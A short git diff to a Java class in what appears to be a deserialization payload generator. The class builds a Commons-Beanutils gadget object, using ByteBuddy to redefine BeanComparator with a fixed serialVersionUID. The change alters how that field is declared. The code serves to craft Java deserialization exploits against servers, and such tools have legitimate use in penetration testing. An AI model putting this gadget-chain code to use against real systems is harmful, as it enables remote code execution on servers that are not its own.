diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils110.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils110.java index fcc69771..74f159cd 100644 --- a/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils110.java +++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils110.java @@ -28,7 +28,7 @@ public class CommonsBeanutils110 implements Payload { public Object generate(byte[] bytes) { Object comparator = new ByteBuddy() .redefine(BeanComparator.class) - .field(named("serialVersionUID")) + .defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL) .value(1L).make() .load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded() .getDeclaredConstructor(String.class, Comparator.class)